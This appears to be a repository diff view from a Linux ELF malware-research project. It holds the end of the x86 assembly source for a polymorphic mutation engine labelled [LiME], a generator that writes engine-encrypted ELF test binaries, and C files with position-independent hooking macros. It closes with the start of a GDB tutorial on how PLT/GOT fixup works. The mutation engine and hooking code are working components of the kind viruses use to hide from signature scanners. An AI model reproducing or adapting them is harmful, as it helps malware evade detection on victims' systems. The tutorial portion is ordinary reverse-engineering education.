| 1037 | call [ebp-@+LIME_rnd_eax_and_al] | ||
| 1038 | add eax,[ebp-@+para_ebp] | ||
| 1039 | stosd | ||
| 1040 | ret | ||
| 1041 | lmtc1_a2: | ||
| 1042 | or al,11000000b | ||
| 1043 | stosb | ||
| 1044 | ret | ||
| 1045 | |||
| 1046 | lime_mtc2: | ||
| 1047 | mov al,0fh | ||
| 1048 | call [ebp-@+LIME_rnd_al] | ||
| 1049 | or al,80h | ||
| 1050 | cmp al,8dh ; lea reg,[reg] | ||
| 1051 | jz lmtc2_a | ||
| 1052 | cmp al,8bh | ||
| 1053 | ja lime_mtc2 | ||
| 1054 | cmp al,86h | ||
| 1055 | jb lime_mtc2 | ||
| 1056 | stosb ; (xchg/mov) reg,reg | ||
| 1057 | mov al,11b | ||
| 1058 | call lime_rnd_rm | ||
| 1059 | jmp short lime_mtc2 | ||
| 1060 | lmtc2_a: | ||
| 1061 | stosb | ||
| 1062 | mov al,10b | ||
| 1063 | call [ebp-@+LIME_rnd_al] | ||
| 1064 | call lime_rnd_rm | ||
| 1065 | ret | ||
| 1066 | |||
| 1067 | lime_mtc3: ; MMX | ||
| 1068 | push eax | ||
| 1069 | mov al,0fh | ||
| 1070 | stosb | ||
| 1071 | lea ebx,[ebp-@+lime_mmx_opcod_tab] | ||
| 1072 | mov al,2fh | ||
| 1073 | call [ebp-@+LIME_rnd_al] | ||
| 1074 | xlatb | ||
| 1075 | stosb | ||
| 1076 | pop eax | ||
| 1077 | or al,11000000b | ||
| 1078 | stosb | ||
| 1079 | ret | ||
| 1080 | |||
| 1081 | lime_mtc4: | ||
| 1082 | and al,01h | ||
| 1083 | mov dl,al | ||
| 1084 | shl dl,3 | ||
| 1085 | call [ebp-@+LIME_rnd_reg] | ||
| 1086 | or al,0b0h ; mov reg,xxxxxx(xx) | ||
| 1087 | or al,dl | ||
| 1088 | stosb | ||
| 1089 | cmp al,0b8h | ||
| 1090 | jb lmtc4_a | ||
| 1091 | call [ebp-@+LIME_rnd] | ||
| 1092 | and eax,0bfff83ffh | ||
| 1093 | stosd | ||
| 1094 | ret | ||
| 1095 | lmtc4_a: | ||
| 1096 | call [ebp-@+LIME_rnd] | ||
| 1097 | stosb | ||
| 1098 | ret | ||
| 1099 | |||
| 1100 | lime_mtc5: | ||
| 1101 | and al,03h | ||
| 1102 | or al,80h ; (add/or/adc/sbb/and/sub/xor/cmp) reg,xx | ||
| 1103 | stosb | ||
| 1104 | call [ebp-@+LIME_rnd_reg] | ||
| 1105 | or al,11000000b | ||
| 1106 | stosb | ||
| 1107 | call [ebp-@+LIME_rnd] | ||
| 1108 | and eax,83ffbfffh | ||
| 1109 | stosd | ||
| 1110 | cmp byte [edi-06h],81h | ||
| 1111 | jz lime_mtc5_a | ||
| 1112 | sub edi,byte 03h | ||
| 1113 | lime_mtc5_a: | ||
| 1114 | ; ret | ||
| 1115 | |||
| 1116 | lime_mtc6: | ||
| 1117 | cmp dword [ebp-@+jxx_addr],byte 00h | ||
| 1118 | jnz lime_mtc4 | ||
| 1119 | mov al,0fh | ||
| 1120 | call [ebp-@+LIME_rnd_eax_and_al] | ||
| 1121 | or al,70h ; jxx xx | ||
| 1122 | stosw | ||
| 1123 | mov [ebp-@+jxx_addr],edi | ||
| 1124 | call lime_mtc5 | ||
| 1125 | ret | ||
| 1126 | |||
| 1127 | lime_mtc7: | ||
| 1128 | jp lime_mtc7_a | ||
| 1129 | and al,01h | ||
| 1130 | or al,0feh ; (inc/dec) reg | ||
| 1131 | stosb | ||
| 1132 | call [ebp-@+LIME_rnd_reg] | ||
| 1133 | and ah,00001000b | ||
| 1134 | or al,11000000b | ||
| 1135 | or al,ah | ||
| 1136 | stosb | ||
| 1137 | ret | ||
| 1138 | lime_mtc7_a: | ||
| 1139 | call lime_rnd_reg_dd | ||
| 1140 | and ah,00001000b | ||
| 1141 | or ah,40h ; (inc/dec) reg | ||
| 1142 | or al,ah | ||
| 1143 | stosb | ||
| 1144 | ret | ||
| 1145 | |||
| 1146 | lime_mtc8: | ||
| 1147 | ; ret | ||
| 1148 | call lime_rnd_reg_dd | ||
| 1149 | mov dl,al | ||
| 1150 | mov [ebp-@+temp_reg],al | ||
| 1151 | or al,0b8h ; mov reg,xxxxxxxx | ||
| 1152 | stosb | ||
| 1153 | call [ebp-@+LIME_rnd] | ||
| 1154 | stosd | ||
| 1155 | push edi | ||
| 1156 | push eax | ||
| 1157 | call [ebp-@+LIME_make_noflags_cod] | ||
| 1158 | call [ebp-@+LIME_rnd] | ||
| 1159 | and al,08h | ||
| 1160 | or al,40h ; (inc/dec) reg | ||
| 1161 | or al,[ebp-@+temp_reg] | ||
| 1162 | stosb | ||
| 1163 | push eax | ||
| 1164 | call [ebp-@+LIME_make_noflags_cod] | ||
| 1165 | mov ax,0f881h ; cmp reg,xxxxxxxx | ||
| 1166 | or ah,[ebp-@+temp_reg] | ||
| 1167 | stosw | ||
| 1168 | mov al,7fh | ||
| 1169 | call [ebp-@+LIME_rnd_eax_and_al] | ||
| 1170 | or al,10h | ||
| 1171 | pop edx | ||
| 1172 | test dl,08h | ||
| 1173 | pop edx | ||
| 1174 | jnz lime_mtc8_a1 | ||
| 1175 | add eax,edx | ||
| 1176 | jmp short lime_mtc8_a2 | ||
| 1177 | lime_mtc8_a1: | ||
| 1178 | xchg eax,edx | ||
| 1179 | sub eax,edx | ||
| 1180 | lime_mtc8_a2: | ||
| 1181 | stosd | ||
| 1182 | call [ebp-@+LIME_make_noflags_cod] | ||
| 1183 | mov al,[ebp-@+disp_reg] | ||
| 1184 | mov [ebp-@+temp_reg],al | ||
| 1185 | mov al,75h ; jnz xx | ||
| 1186 | stosw | ||
| 1187 | cmp eax,edi | ||
| 1188 | jp lime_mtc8_a3 | ||
| 1189 | pop eax | ||
| 1190 | sub eax,edi | ||
| 1191 | cmp eax,byte -80h | ||
| 1192 | jb lime_mtc8_a4 | ||
| 1193 | mov [edi-01h],al | ||
| 1194 | ret | ||
| 1195 | lime_mtc8_a3: | ||
| 1196 | pop eax | ||
| 1197 | lime_mtc8_a4: | ||
| 1198 | push edi | ||
| 1199 | call lime_rnd_trash | ||
| 1200 | pop edx | ||
| 1201 | mov eax,edi | ||
| 1202 | sub eax,edx | ||
| 1203 | mov [edx-01h],al | ||
| 1204 | ret | ||
| 1205 | |||
| 1206 | lime_mtc9: ; (add/or/adc/sbb/and/sub/xor/cmp) reg,reg | ||
| 1207 | call [ebp-@+LIME_rnd] | ||
| 1208 | and al,00111011b | ||
| 1209 | stosb | ||
| 1210 | call [ebp-@+LIME_rnd_reg] | ||
| 1211 | or al,00011000b | ||
| 1212 | rol al,3 | ||
| 1213 | mov ah,al | ||
| 1214 | mov al,[edi-01h] | ||
| 1215 | call [ebp-@+LIME_rnd_reg] | ||
| 1216 | or al,ah | ||
| 1217 | stosb | ||
| 1218 | ret | ||
| 1219 | |||
| 1220 | ; --------------------------------------------------------------- | ||
| 1221 | |||
| 1222 | LIME_END: | ||
| 1223 | LIME_SIZE equ LIME_END-LIME_BEGIN | ||
| 1224 | |||
| 1225 | ; *************************************************************** | ||
| 1226 | ; [LiME] test files generator | ||
| 1227 | ; *************************************************************** | ||
| 1228 | |||
| 1229 | main: | ||
| 1230 | mov eax,4 | ||
| 1231 | mov ebx,1 | ||
| 1232 | mov ecx,gen_msg | ||
| 1233 | mov edx,gen_msg_len | ||
| 1234 | int 80h | ||
| 1235 | |||
| 1236 | mov ecx,99 | ||
| 1237 | gen_l1: | ||
| 1238 | push ecx | ||
| 1239 | |||
| 1240 | mov eax,8 | ||
| 1241 | mov ebx,filename | ||
| 1242 | mov ecx,000111111101b ; 000rwxrwxrwx | ||
| 1243 | int 80h | ||
| 1244 | |||
| 1245 | push eax | ||
| 1246 | |||
| 1247 | mov eax,0 | ||
| 1248 | mov ebx,host_entry | ||
| 1249 | mov ecx,host | ||
| 1250 | mov edx,host_len | ||
| 1251 | mov ebp,[e_entry] | ||
| 1252 | call LIME | ||
| 1253 | |||
| 1254 | pop ebx | ||
| 1255 | |||
| 1256 | mov eax,4 | ||
| 1257 | mov ecx,elf_head | ||
| 1258 | add edx,host_entry-elf_head | ||
| 1259 | mov [p_filsz],edx | ||
| 1260 | mov [p_memsz],edx | ||
| 1261 | int 80h | ||
| 1262 | |||
| 1263 | mov eax,6 | ||
| 1264 | int 80h | ||
| 1265 | |||
| 1266 | lea ebx,[filename+1] | ||
| 1267 | inc byte [ebx+1] | ||
| 1268 | cmp byte [ebx+1],'9' | ||
| 1269 | jbe gen_l2 | ||
| 1270 | inc byte [ebx] | ||
| 1271 | mov byte [ebx+1],'0' | ||
| 1272 | gen_l2: | ||
| 1273 | pop ecx | ||
| 1274 | loop gen_l1 | ||
| 1275 | |||
| 1276 | mov eax,1 | ||
| 1277 | xor ebx,ebx | ||
| 1278 | int 80h | ||
| 1279 | |||
| 1280 | gen_msg db 'Generates 50 [LiME] encrypted test files...',0dh,0ah | ||
| 1281 | gen_msg_len equ $-gen_msg | ||
| 1282 | |||
| 1283 | host: | ||
| 1284 | call host_reloc | ||
| 1285 | host_reloc: | ||
| 1286 | pop ecx | ||
| 1287 | add ecx,host_msg-host_reloc | ||
| 1288 | mov eax,4 | ||
| 1289 | mov ebx,1 | ||
| 1290 | mov edx,host_msg_len | ||
| 1291 | int 80h | ||
| 1292 | mov eax,1 | ||
| 1293 | xor ebx,ebx | ||
| 1294 | int 80h | ||
| 1295 | |||
| 1296 | host_msg db 'This is a [LiME] test file! ...(' | ||
| 1297 | filename db 't00',0 | ||
| 1298 | db ')',0dh,0ah | ||
| 1299 | host_msg_len equ $-host_msg | ||
| 1300 | host_len equ $-host | ||
| 1301 | |||
| 1302 | elf_head: | ||
| 1303 | e_ident db 7fh,'ELF',1,1,1 | ||
| 1304 | times 9 db 0 | ||
| 1305 | e_type dw 2 | ||
| 1306 | e_mach dw 3 | ||
| 1307 | e_ver dd 1 | ||
| 1308 | e_entry dd host_entry-elf_head+08049000h | ||
| 1309 | e_phoff dd 34h | ||
| 1310 | e_shoff dd 0 | ||
| 1311 | e_flags dd 0 | ||
| 1312 | e_elfhs dw 34h | ||
| 1313 | e_phes dw 20h | ||
| 1314 | e_phec dw 01h | ||
| 1315 | e_shes dw 0 | ||
| 1316 | e_shec dw 0 | ||
| 1317 | e_shsn dw 0 | ||
| 1318 | elf_ph: | ||
| 1319 | p_type dd 1 | ||
| 1320 | p_off dd 0 | ||
| 1321 | p_vaddr dd 08049000h | ||
| 1322 | p_paddr dd 08049000h | ||
| 1323 | p_filsz dd file_len | ||
| 1324 | p_memsz dd file_len | ||
| 1325 | p_flags dd 7 | ||
| 1326 | p_align dd 1000h | ||
| 1327 | times 20h db 0 | ||
| 1328 | host_entry: | ||
| 1329 | times 1024*4 db 0 | ||
| 1330 | |||
| 1331 | file_len equ $-elf_head | ||
| 1332 | |||
diff --git a/other/wrez/tmp/call.c b/other/wrez/tmp/call.c new file mode 100644 index 0000000..d81f072 --- /dev/null +++ b/other/wrez/tmp/call.c | |||
| @@ -0,0 +1,106 @@ | |||
| 1 | /* use ht on the 'call' executeable to set the first PT_LOAD rwx | ||
| 2 | * else it will segfault | ||
| 3 | */ | ||
| 4 | |||
| 5 | #include <stdio.h> | ||
| 6 | |||
| 7 | int foofunc (void); | ||
| 8 | |||
| 9 | |||
| 10 | #define FUNCPTR(dst,functionname) \ | ||
| 11 | { \ | ||
| 12 | register unsigned int fptr; \ | ||
| 13 | \ | ||
| 14 | __asm__ __volatile__ ( \ | ||
| 15 | " call l0_%=\n" \ | ||
| 16 | "l0_%=: movl $"##functionname", %%eax\n" \ | ||
| 17 | " subl $l0_%=, %%eax\n" \ | ||
| 18 | " popl %%edx\n" \ | ||
| 19 | " addl %%edx, %%eax\n" \ | ||
| 20 | : "=a" (fptr) : : "edx"); \ | ||
| 21 | \ | ||
| 22 | (dst) = (void *) fptr; \ | ||
| 23 | } | ||
| 24 | |||
| 25 | #define PTRINSTALL(hook,chain) \ | ||
| 26 | { \ | ||
| 27 | __asm__ __volatile__ ( \ | ||
| 28 | " call l0_%=\n" \ | ||
| 29 | "lr_%=: jmp lo_%=\n" \ | ||
| 30 | "l0_%=: pushl %%edx\n" \ | ||
| 31 | " pushl $0x64466226\n" \ | ||
| 32 | " jmpl *%%eax\n" \ | ||
| 33 | "lo_%=:\n" \ | ||
| 34 | : : "a" (hook), "d" (chain)); \ | ||
| 35 | } | ||
| 36 | |||
| 37 | #define PTRCONTROL(chain) \ | ||
| 38 | { \ | ||
| 39 | __asm__ __volatile__ ( \ | ||
| 40 | " jmp l0_%=\n" \ | ||
| 41 | "lp_%=: .byte 0x0\n" \ | ||
| 42 | " .byte 0x0\n" \ | ||
| 43 | " .byte 0x0\n" \ | ||
| 44 | " .byte 0x0\n" \ | ||
| 45 | "\n" \ | ||
| 46 | "l0_%=: call l1_%=\n" \ | ||
| 47 | "l1_%=: popl %%edx\n" \ | ||
| 48 | " addl $lp_%=, %%edx\n" \ | ||
| 49 | " subl $l1_%=, %%edx\n" \ | ||
| 50 | "\n" \ | ||
| 51 | " movl 0x4(%%ebp), %%eax\n" \ | ||
| 52 | " cmpl $0x64466226, %%eax\n" \ | ||
| 53 | " jne lo_%=\n" \ | ||
| 54 | "\n" \ | ||
| 55 | " movl 0x8(%%ebp), %%eax\n" \ | ||
| 56 | " movl %%eax, (%%edx)\n" \ | ||
| 57 | "\n" \ | ||
| 58 | " movl %%ebp, %%esp\n" \ | ||
| 59 | " popl %%ebp\n" \ | ||
| 60 | " addl $0x8, %%esp\n" \ | ||
| 61 | " ret\n" \ | ||
| 62 | "\n" \ | ||
| 63 | "lo_%=: movl (%%edx), %%eax\n" \ | ||
| 64 | : "=a" (chain) : : "edx"); \ | ||
| 65 | } | ||
| 66 | |||
| 67 | |||
| 68 | int | ||
| 69 | main (int argc, char *argv[]) | ||
| 70 | { | ||
| 71 | void (* addr)(void); | ||
| 72 | |||
| 73 | #if 0 | ||
| 74 | __asm__ __volatile__ (" | ||
| 75 | call l1_%= | ||
| 76 | l1_%=: movl $foofunc, %%eax | ||
| 77 | subl $l1_%=, %%eax | ||
| 78 | popl %%edx | ||
| 79 | addl %%edx, %%eax | ||
| 80 | pusha | ||
| 81 | call *%%eax | ||
| 82 | popa" | ||
| 83 | : "=a" (addrdiff) : : "edx"); | ||
| 84 | #endif | ||
| 85 | FUNCPTR (addr, "foofunc"); | ||
| 86 | |||
| 87 | printf ("0x%08lx\n", (unsigned long int) addr); | ||
| 88 | |||
| 89 | PTRINSTALL (addr, 0x42424242); | ||
| 90 | |||
| 91 | foofunc (); | ||
| 92 | } | ||
| 93 | |||
| 94 | |||
| 95 | int | ||
| 96 | foofunc (void) | ||
| 97 | { | ||
| 98 | void * chain; | ||
| 99 | |||
| 100 | PTRCONTROL (chain); | ||
| 101 | |||
| 102 | printf ("0x%08lx\n", chain); | ||
| 103 | } | ||
| 104 | |||
| 105 | |||
| 106 | |||
diff --git a/other/wrez/tmp/call.c.backup b/other/wrez/tmp/call.c.backup new file mode 100644 index 0000000..13d3565 --- /dev/null +++ b/other/wrez/tmp/call.c.backup | |||
| @@ -0,0 +1,137 @@ | |||
| 1 | /* use ht on the 'call' executeable to set the first PT_LOAD rwx | ||
| 2 | * else it will segfault | ||
| 3 | */ | ||
| 4 | |||
| 5 | #include <stdio.h> | ||
| 6 | |||
| 7 | int foofunc (void); | ||
| 8 | |||
| 9 | |||
| 10 | #define FUNCPTR(dst,functionname) \ | ||
| 11 | { \ | ||
| 12 | register unsigned int fptr; \ | ||
| 13 | \ | ||
| 14 | __asm__ __volatile__ ( \ | ||
| 15 | " call l0_%=\n" \ | ||
| 16 | "l0_%=: movl $"##functionname", %%eax\n" \ | ||
| 17 | " subl $l0_%=, %%eax\n" \ | ||
| 18 | " popl %%edx\n" \ | ||
| 19 | " addl %%edx, %%eax\n" \ | ||
| 20 | : "=a" (fptr) : : "edx"); \ | ||
| 21 | \ | ||
| 22 | (dst) = (void *) fptr; \ | ||
| 23 | } | ||
| 24 | |||
| 25 | #define PTRINSTALL(hook,chain) \ | ||
| 26 | { \ | ||
| 27 | __asm__ __volatile__ ( \ | ||
| 28 | " call l0_%=\n" \ | ||
| 29 | "lr_%=: jmp lo_%=\n" \ | ||
| 30 | "l0_%=: pushl %%edx\n" \ | ||
| 31 | " pushl $0x64466226\n" \ | ||
| 32 | " jmpl *%%eax\n" \ | ||
| 33 | "lo_%=:\n" \ | ||
| 34 | : : "a" (hook), "d" (chain)); \ | ||
| 35 | } | ||
| 36 | |||
| 37 | #define PTRCONTROL(chain) \ | ||
| 38 | { \ | ||
| 39 | __asm__ __volatile__ ( \ | ||
| 40 | " jmp l0_%=\n" \ | ||
| 41 | "lp_%=: .byte 0x0\n" \ | ||
| 42 | " .byte 0x0\n" \ | ||
| 43 | " .byte 0x0\n" \ | ||
| 44 | " .byte 0x0\n" \ | ||
| 45 | "\n" \ | ||
| 46 | "l0_%=: call l1_%=\n" \ | ||
| 47 | "l1_%=: popl %%edx\n" \ | ||
| 48 | " addl $lp_%=, %%edx\n" \ | ||
| 49 | " subl $l1_%=, %%edx\n" \ | ||
| 50 | "\n" \ | ||
| 51 | " movl 0x4(%%ebp), %%eax\n" \ | ||
| 52 | " cmpl $0x64466226, %%eax\n" \ | ||
| 53 | " jne lo_%=\n" \ | ||
| 54 | "\n" \ | ||
| 55 | " movl 0x8(%%ebp), %%eax\n" \ | ||
| 56 | " movl %%eax, (%%edx)\n" \ | ||
| 57 | "\n" \ | ||
| 58 | " movl %%ebp, %%esp\n" \ | ||
| 59 | " popl %%ebp\n" \ | ||
| 60 | " addl $0x8, %%esp\n" \ | ||
| 61 | " ret\n" \ | ||
| 62 | "\n" \ | ||
| 63 | "lo_%=: movl (%%edx), %%eax\n" \ | ||
| 64 | : "=a" (chain) : : "edx"); \ | ||
| 65 | } | ||
| 66 | |||
| 67 | int | ||
| 68 | main (int argc, char *argv[]) | ||
| 69 | { | ||
| 70 | void (* addr)(void); | ||
| 71 | |||
| 72 | #if 0 | ||
| 73 | __asm__ __volatile__ (" | ||
| 74 | call l1_%= | ||
| 75 | l1_%=: movl $foofunc, %%eax | ||
| 76 | subl $l1_%=, %%eax | ||
| 77 | popl %%edx | ||
| 78 | addl %%edx, %%eax | ||
| 79 | pusha | ||
| 80 | call *%%eax | ||
| 81 | popa" | ||
| 82 | : "=a" (addrdiff) : : "edx"); | ||
| 83 | #endif | ||
| 84 | FUNCPTR (addr, "foofunc"); | ||
| 85 | |||
| 86 | printf ("0x%08lx\n", (unsigned long int) addr); | ||
| 87 | |||
| 88 | __asm__ __volatile__ (" | ||
| 89 | call l0_%= | ||
| 90 | lr_%=: jmp lo_%= | ||
| 91 | l0_%=: pushl %%edx | ||
| 92 | pushl $0x64466226 | ||
| 93 | jmpl *%%eax | ||
| 94 | lo_%=: | ||
| 95 | " : : "a" (addr), "d" (0x42424242)); | ||
| 96 | |||
| 97 | foofunc (); | ||
| 98 | } | ||
| 99 | |||
| 100 | |||
| 101 | int | ||
| 102 | foofunc (void) | ||
| 103 | { | ||
| 104 | void * chain; | ||
| 105 | |||
| 106 | __asm__ __volatile__ (" | ||
| 107 | ls1_%=: jmp l0_%= | ||
| 108 | ptr_%=: .byte 0x0 | ||
| 109 | .byte 0x0 | ||
| 110 | .byte 0x0 | ||
| 111 | .byte 0x0 | ||
| 112 | |||
| 113 | l0_%=: call l1_%= | ||
| 114 | l1_%=: popl %%edx | ||
| 115 | addl $ptr_%=, %%edx | ||
| 116 | subl $l1_%=, %%edx | ||
| 117 | |||
| 118 | movl 0x4(%%ebp), %%eax | ||
| 119 | cmpl $0x64466226, %%eax | ||
| 120 | jne lo_%= | ||
| 121 | |||
| 122 | movl 0x8(%%ebp), %%eax | ||
| 123 | movl %%eax, (%%edx) | ||
| 124 | |||
| 125 | movl %%ebp, %%esp | ||
| 126 | popl %%ebp | ||
| 127 | addl $0x8, %%esp | ||
| 128 | ret | ||
| 129 | |||
| 130 | lo_%=: movl (%%edx), %%eax | ||
| 131 | " : "=a" (chain) : : "edx"); | ||
| 132 | |||
| 133 | printf ("0x%08lx\n", chain); | ||
| 134 | } | ||
| 135 | |||
| 136 | |||
| 137 | |||
diff --git a/other/wrez/tmp/elf-runtime-fixup.txt b/other/wrez/tmp/elf-runtime-fixup.txt new file mode 100644 index 0000000..a594cdd --- /dev/null +++ b/other/wrez/tmp/elf-runtime-fixup.txt | |||
| @@ -0,0 +1,324 @@ | |||
| 1 | |||
| 2 | ************************************************************************** | ||
| 3 | |||
| 4 | Reversing the ELF | ||
| 5 | |||
| 6 | Stepping with GDB during PLT uses and .GOT fixup | ||
| 7 | |||
| 8 | mayhem (mayhem@hert.org) | ||
| 9 | |||
| 10 | ************************************************************************** | ||
| 11 | |||
| 12 | |||
| 13 | This text is a GDB tutorial about runtime process fixup using the Procedure | ||
| 14 | Linkage Table section (.plt) and the Global Offset Table section (.got) . | ||
| 15 | If you dont know what is ELF, you should read the ELF ultimate documentation | ||
| 16 | you can find here : | ||
| 17 | |||
| 18 | http://www.devhell.org/~mayhem/stuffs/ELF.pdf | ||
| 19 | |||
| 20 | Some basic ASM knowledge may be requested . | ||
| 21 | |||
| 22 | This text has not been written for ELF specialists . This tutorial is an | ||
| 23 | alternative , interactive way to understand the PLT mechanisms . | ||
| 24 | |||
| 25 | When the executable is mapped into memory, the core code segment _start | ||
| 26 | fonction the executable file is called as soon as the _dl_start function | ||
| 27 | of the dynamic linker has returned . I will go step by step in the | ||
| 28 | process structures initialization mechanims using objdump, gdb and gcc ; | ||
| 29 | |||
| 30 | |||
| 31 | |||
| 32 | |||
| 33 | bash-2.03$ cat test.c | ||
| 34 | int called() | ||
| 35 | { | ||
| 36 | puts("toto"); | ||
| 37 | } | ||
| 38 | |||
| 39 | int main() | ||
| 40 | { | ||
| 41 | called(); | ||
| 42 | } | ||
| 43 | bash-2.03$ cc test.c && objdump -D ./a.out | less | ||
| 44 | |||
| 45 | <...> | ||
| 46 | |||
| 47 | 08048318 <_start>: | ||
| 48 | 8048318: 31 ed xor %ebp,%ebp | ||
| 49 | 804831a: 5e pop %esi | ||
| 50 | 804831b: 89 e1 mov %esp,%ecx | ||
| 51 | 804831d: 83 e4 f8 and $0xfffffff8,%esp | ||
| 52 | 8048320: 50 push %eax | ||
| 53 | 8048321: 54 push %esp | ||
| 54 | 8048322: 52 push %edx | ||
| 55 | 8048323: 68 04 84 04 08 push $0x8048404 | ||
| 56 | 8048328: 68 98 82 04 08 push $0x8048298 | ||
| 57 | 804832d: 51 push %ecx | ||
| 58 | 804832e: 56 push %esi | ||
| 59 | 804832f: 68 c8 83 04 08 push $0x80483c8 | ||
| 60 | 8048334: e8 cf ff ff ff call 8048308 <_init+0x70> <=== | ||
| 61 | 8048339: f4 hlt | ||
| 62 | 804833a: 90 nop | ||
| 63 | 804833b: 90 nop | ||
| 64 | |||
| 65 | |||
| 66 | <...> | ||
| 67 | |||
| 68 | |||
| 69 | |||
| 70 | |||
| 71 | Even if the dynamic linker creates some basic stuffs before everything, | ||
| 72 | he first core function called is _start . | ||
| 73 | |||
| 74 | We can see that this function initialize the stack . Some things we have | ||
| 75 | to notice : | ||
| 76 | |||
| 77 | $0x8048404 : _fini() function offset in the .fini section | ||
| 78 | $0x8048298 : _init() function offset in the .init section | ||
| 79 | $0x80483c8 : main() function offset in the .text section | ||
| 80 | |||
| 81 | |||
| 82 | This information is pushed because it's used in the libc in the | ||
| 83 | __libc_start_main function . This libc function has to : | ||
| 84 | |||
| 85 | - call the constructors . | ||
| 86 | - call the main . | ||
| 87 | - call the destructors . | ||
| 88 | |||
| 89 | |||
| 90 | The call to the offset 0x8048308 points in the Procedure Linkage Table | ||
| 91 | (.plt section) . This section provides a way to transfert inter-object | ||
| 92 | calls . Remember we're trying to call the __libc_start_main function . | ||
| 93 | |||
| 94 | The PLT code for this entry is : | ||
| 95 | |||
| 96 | |||
| 97 | 080482c8 <.plt>: | ||
| 98 | 80482c8: ff 35 54 94 04 08 pushl 0x8049454 | ||
| 99 | 80482ce: ff 25 58 94 04 08 jmp *0x8049458 | ||
| 100 | 80482d4: 00 00 add %al,(%eax) | ||
| 101 | 80482d6: 00 00 add %al,(%eax) | ||
| 102 | 80482d8: ff 25 5c 94 04 08 jmp *0x804945c | ||
| 103 | 80482de: 68 00 00 00 00 push $0x0 | ||
| 104 | 80482e3: e9 e0 ff ff ff jmp 80482c8 <_init+0x30> | ||
| 105 | 80482e8: ff 25 60 94 04 08 jmp *0x8049460 | ||
| 106 | 80482ee: 68 08 00 00 00 push $0x8 | ||
| 107 | 80482f3: e9 d0 ff ff ff jmp 80482c8 <_init+0x30> | ||
| 108 | 80482f8: ff 25 64 94 04 08 jmp *0x8049464 | ||
| 109 | 80482fe: 68 10 00 00 00 push $0x10 | ||
| 110 | 8048303: e9 c0 ff ff ff jmp 80482c8 <_init+0x30> | ||
| 111 | 8048308: ff 25 68 94 04 08 jmp *0x8049468 *YOU ARE HERE* | ||
| 112 | 804830e: 68 18 00 00 00 push $0x18 | ||
| 113 | 8048313: e9 b0 ff ff ff jmp 80482c8 <_init+0x30> | ||
| 114 | |||
| 115 | |||
| 116 | |||
| 117 | We can see that our call in the PLT is followed by a JMP : | ||
| 118 | |||
| 119 | jmp *0x8049468 | ||
| 120 | |||
| 121 | The 0x8049468 offset is in the Global Offset Table (.got section) . The | ||
| 122 | stars means (for non x86 att syntax experts readers) that we are using | ||
| 123 | the four byte pointer at 0x8049468 as an offset . This offset in actually | ||
| 124 | retreivable from the Global Offset Table (GOT) . | ||
| 125 | |||
| 126 | In the beginning, the GOT offsets points on the following push (offset | ||
| 127 | 0x804830e : look at the objdump trace above) . At the moment , the GOT | ||
| 128 | in our process is said to be "empty", and is going to be filled as long | ||
| 129 | as the process calls remote functions (one entry is updated each time the | ||
| 130 | program calls this remote function *for the first time*) . | ||
| 131 | |||
| 132 | |||
| 133 | |||
| 134 | .got : | ||
| 135 | |||
| 136 | [00] 0x8049470 [01] (nil) | ||
| 137 | [02] (nil) [03] 0x80482de | ||
| 138 | [04] 0x80482ee [05] 0x80482fe | ||
| 139 | [06] 0x804830e [07] (nil) | ||
| 140 | |||
| 141 | |||
| 142 | The GOT is empty : every offsets point on a push instruction in | ||
| 143 | the procedure linkage table (.plt) . | ||
| 144 | |||
| 145 | |||
| 146 | |||
| 147 | We can see that the third first entries in the GOT have special values : | ||
| 148 | |||
| 149 | - The [0] entry contains the offset for the .dynamic section of | ||
| 150 | this object, it's used by the dynamic linker to know some | ||
| 151 | preferences and some very useful informations . Look at the | ||
| 152 | ELF reference for further details . Some stuff are also explained | ||
| 153 | in the dynamic linking related chapter of this tfile . | ||
| 154 | |||
| 155 | - The [1] one is the link_map structure offset associated with | ||
| 156 | this object, it's an internal structure in ld.so describing | ||
| 157 | a lot of interresting stuffs, I wont go in depth with it in this | ||
| 158 | paper . | ||
| 159 | |||
| 160 | - The [2] entry contains the runtime process fixup function offset | ||
| 161 | (pointing in the dynamic linking code zone). This pointer is used by | ||
| 162 | the first entry of the plt which is called when you want to launch | ||
| 163 | a remote (undefined) function for the first time . | ||
| 164 | |||
| 165 | |||
| 166 | The 2nd and 3rd entries are set to NULL at the beginning and are filled by | ||
| 167 | the dynamic linker before the process code segment starting function takes | ||
| 168 | control . These are filled in elf_machine_runtime_setup() in | ||
| 169 | sysdeps/i386/dl-machine.h . | ||
| 170 | |||
| 171 | With that mechanism, we have to execute three call instructions (if the | ||
| 172 | corresponding GOT entry has not been updated yet), or two call instructions | ||
| 173 | (if the GOT has been filled) . Remember that the GOT has been filled during | ||
| 174 | the first call on the corresponding function . Only external functions need | ||
| 175 | that mechanism, since only in-core code segment functions offsets are known | ||
| 176 | before the process start (the executable object base address is known) . | ||
| 177 | |||
| 178 | |||
| 179 | Get back to our code, we can see that this entry jumps to the 3rd offset of | ||
| 180 | the GOT entry, it means that the code calls the dynamic linker's resolution | ||
| 181 | function dl-resolve() . Some other papers have been describing useful | ||
| 182 | information gathering with it (check Nergal's phrack 58 or grugq's subversive | ||
| 183 | dynamic linking paper) | ||
| 184 | |||
| 185 | |||
| 186 | We can note that these 2 offsets are pushed each time a call is done via | ||
| 187 | the PLT : | ||
| 188 | |||
| 189 | - The first is an offset (in octets) in the .rel.plt section of the | ||
| 190 | program binary . It's used to identify the corresponding symbol for | ||
| 191 | the function we are trying to get the real absolute address . | ||
| 192 | - The second one is the offset contained in the 2nd GOT entry | ||
| 193 | (it's 0x8049454 in our code) . | ||
| 194 | |||
| 195 | This information allows us to identify the symbol for which we want to do | ||
| 196 | a relocation . Let's discover the runtime .got fixup offset with gdb and | ||
| 197 | the procfs : | ||
| 198 | |||
| 199 | |||
| 200 | bash-2.03$ gdb a.out | ||
| 201 | |||
| 202 | (gdb) b called | ||
| 203 | Breakpoint 1 at 0x80483b7 | ||
| 204 | |||
| 205 | (gdb) r | ||
| 206 | Starting program: /home/mayhem/a.out | ||
| 207 | Breakpoint 1, 0x80483b7 in called () | ||
| 208 | |||
| 209 | (gdb) disassemble called | ||
| 210 | Dump of assembler code for function called: | ||
| 211 | 0x80483b4 <called>: push %ebp | ||
| 212 | 0x80483b5 <called+1>: mov %esp,%ebp | ||
| 213 | 0x80483b7 <called+3>: push $0x8048428 | ||
| 214 | 0x80483bc <called+8>: call 0x80482e8 <puts> <======== LOOK HERE ! | ||
| 215 | 0x80483c1 <called+13>: add $0x4,%esp | ||
| 216 | 0x80483c4 <called+16>: leave | ||
| 217 | 0x80483c5 <called+17>: ret | ||
| 218 | 0x80483c6 <called+18>: mov %esi,%esi | ||
| 219 | End of assembler dump. | ||
| 220 | |||
| 221 | |||
